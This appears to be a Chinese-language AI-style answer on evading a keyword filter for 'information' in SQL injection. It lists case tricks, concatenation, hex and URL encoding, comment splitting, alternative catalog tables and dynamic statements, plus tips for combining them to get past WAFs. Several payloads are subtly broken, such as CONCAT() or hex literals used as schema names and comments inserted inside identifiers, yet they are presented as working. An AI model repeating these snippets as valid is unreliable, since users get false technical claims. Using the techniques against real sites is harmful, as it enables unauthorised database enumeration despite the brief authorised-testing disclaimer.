SQL注入中“information”被过滤时，可以通过以下方法尝试绕过： ### 1. **大小写变换** - `information` → `INFORMATION`、`Information`、`iNfOrMaTiOn` - 示例：`SELECT table_name FROM INFORMATION_SCHEMA.tables` ### 2. **字符串拼接** - 使用 `CONCAT()` 或 `+`（根据数据库类型）： - MySQL：`CONCAT('inf','ormation')` - PostgreSQL：`'inf'||'ormation'` - 示例：`SELECT table_name FROM CONCAT('inf','ormation_schema').tables` ### 3. **编码或转义** - **十六进制**：`information` → `0x696e666f726d6174696f6e` - 示例：`SELECT table_name FROM 0x696e666f726d6174696f6e_schema.tables` - **URL编码**（适用于Web参数）： - `information` → `%69%6e%66%6f%72%6d%61%74%69%6f%6e` - **Unicode/双重编码**（部分场景有效） ### 4. **注释符分割** - 在关键词中插入不影响执行的注释（如 `/**/`）： - `inf/**/ormation` - 示例：`SELECT table_name FROM inf/**/ormation_schema.tables` ### 5. **使用同义词或替代表** - 部分数据库有类似功能的系统表： - MySQL：`sys.schema_table_statistics`（需权限） - SQL Server：`sysobjects` - Oracle：`user_tables` - 示例（MySQL）：`SELECT table_name FROM sys.schema_table_statistics` ### 6. **动态执行（需高权限）** - 使用 `EXECUTE` 或 `PREPARE` 动态构造语句（如MySQL）： ```sql SET @sql = CONCAT('SELECT table_name FROM ', 'inf', 'ormation_schema.tables'); PREPARE stmt FROM @sql; EXECUTE stmt; ``` ### 7. **利用数据库特性** - **SQLite**：`sqlite_master` 表替代 `information_schema` - **PostgreSQL**：`pg_catalog.pg_tables` --- ### 注意事项： 1. **合法授权**：仅用于授权测试，禁止非法攻击。 2. **上下文适配**：根据数据库类型（MySQL、PostgreSQL等）调整方法。 3. **WAF绕过**：结合多重技巧（如注释+编码+大小写）。 4. **错误回显**：观察报错信息，调整绕过方式。 ### 简单测试示例（MySQL）： ```sql -- 大小写+注释 SELECT table_name FROM INF/**/ORMATION_SCHEMA.TABLES; -- 字符串拼接 SELECT table_name FROM CONCAT('inf','ormation_schema').tables; ``` 如果目标系统过滤严格，可尝试组合多种方法，或转向基于时间盲注/布尔盲注，避免直接提及关键词。